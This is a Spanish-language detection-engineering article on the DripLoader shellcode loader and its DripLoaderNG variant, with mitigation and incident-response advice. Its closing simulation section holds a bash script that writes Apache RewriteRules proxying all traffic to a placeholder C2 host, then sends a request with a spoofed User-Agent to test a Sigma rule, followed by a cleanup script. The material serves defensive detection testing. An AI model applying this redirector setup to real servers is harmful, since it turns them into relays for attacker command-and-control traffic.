Malware DripLoader: Ejecución de Shellcode y Evasión de Defensa

Resumen

El artículo examina DripLoader, un cargador de shellcode que asigna memoria, escribe shellcode en ella, cambia los permisos de la página a ejecutable y luego lo ejecuta. Cubre cómo se entrega el cargador a través de un redireccionador HTTPS respaldado por el marco Havoc C2, y cómo su código puede ser ofuscado con compresión y llamadas de sistema indirectas. El escrito también presenta una variante mejorada, DripLoaderNG, que se basa en la carga lateral .node y trucos de evasión adicionales, junto con orientación práctica de detección y herramientas de análisis de memoria.

Investigación

La investigación describe una configuración de laboratorio donde Havoc envía shellcode comprimido a través de un redireccionador Apache adaptado. El cargador reserva regiones de 64 KB, compromete páginas de 4 KB, modifica banderas de protección y ejecuta la carga útil. DripLoaderNG introduce llamadas de sistema indirectas y carga lateral de módulos .node dirigidas a la aplicación Electron de Slack. La detección se muestra utilizando herramientas como Moneta, PE-sieve y consultas KQL de soporte.

Mitigación

Los pasos de mitigación incluyen monitorear redireccionamientos HTTPS sospechosos, detectar cadenas de agente de usuario falsificadas, señalar archivos .node raros y aprovechar las funciones EDR para identificar comportamientos de llamadas de sistema indirectas. Otras recomendaciones incluyen ajustar configuraciones de Sliver/Donut para reducir manipulación AMSI y limitar la ejecución de módulos nativos no firmados.

Respuesta

Cuando se detecta actividad, aísle el endpoint afectado, detenga el proceso ofensivo, capture volcados de memoria e inspeccione el shellcode inyectado. Bloquee el dominio o IP de C2, restablezca credenciales expuestas y despliegue reglas defensivas para el agente de usuario específico e indicadores de archivo .node. Siga con un análisis forense y actualice el contenido de detección para cubrir patrones de llamadas de sistema indirectas observados.

Ejecución de Simulación

Prerequisito: La Verificación Previa de Telemetría y Línea Base debe haber sido aprobada.

Razón: Esta sección detalla la ejecución precisa de la técnica del adversario (TTP) diseñada para activar la regla de detección. Los comandos y la narrativa DEBEN reflejar directamente las TTPs identificadas y apuntar a generar la telemetría exacta esperada por la lógica de detección. Ejemplos abstractos o no relacionados llevarán a un diagnóstico incorrecto.

• Narrativa de Ataque y Comandos:
  Un operador de la infraestructura maliciosa prepara el servidor web víctima para actuar como un conducto hacia el servidor C2. Insertan dos RewriteRule directivas en la configuración del host virtual de Apache: una que proxy todo el tráfico entrante a https://C2.TeamServer.IP:443 ([P] con bandera) y la segunda que redirige cualquier solicitud a una URL benigna de Google ([L,R=302]). Después de recargar Apache, el atacante emite una solicitud HTTP ejecutada con la cadena exacta de User-Agent falsa definida en la regla de Sigma. Apache procesa la solicitud, registra el User-Agent, y el motor de reescritura graba la acción de proxy, satisfaciendo ambas condiciones de detección.

• Script de Prueba de Regresión:

  #!/usr/bin/env bash
  # -------------------------------------------------
  # Script de validación de detección de DripLoader
  # -------------------------------------------------
  
  APACHE_CONF="/etc/apache2/sites-available/000-default.conf"
  BACKUP_CONF="/tmp/000-default.conf.bak"
  
  # 1. Respalda la configuración actual
  sudo cp "$APACHE_CONF" "$BACKUP_CONF"
  
  # 2. Inserta reglas maliciosas de reescritura
  sudo bash -c "cat >> $APACHE_CONF <<'EOF'
  
  # INICIO Reglas de Prueba de DripLoader
  RewriteEngine On
  RewriteRule ^.*$ "https://C2.TeamServer.IP:443%{REQUEST_URI}" [P]
  RewriteRule ^.*$ "https://www.google.com" [L,R=302]
  # FIN Reglas de Prueba de DripLoader
  
  EOF"
  
  # 3. Recarga Apache para aplicar los cambios
  sudo systemctl reload apache2
  
  # 4. Emite solicitud maliciosa con el exacto User‑Agent fabricado
  curl -s -o /dev/null -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/ Safari/537.366" http://localhost/
  
  echo "Solicitud maliciosa enviada. Verifique SIEM para alerta de detección."

• Comandos de Limpieza:

  #!/usr/bin/env bash
  # -------------------------------------------------
  # Limpieza de validación de detección de DripLoader
  # -------------------------------------------------
  
  APACHE_CONF="/etc/apache2/sites-available/000-default.conf"
  BACKUP_CONF="/tmp/000-default.conf.bak"
  
  # Restaura la configuración original
  if [[ -f "$BACKUP_CONF" ]]; then
      sudo cp "$BACKUP_CONF" "$APACHE_CONF"
      sudo systemctl reload apache2
      echo "Configuración original de Apache restaurada."
  else
      echo "Respaldo no encontrado; puede ser necesario limpieza manual."
  fi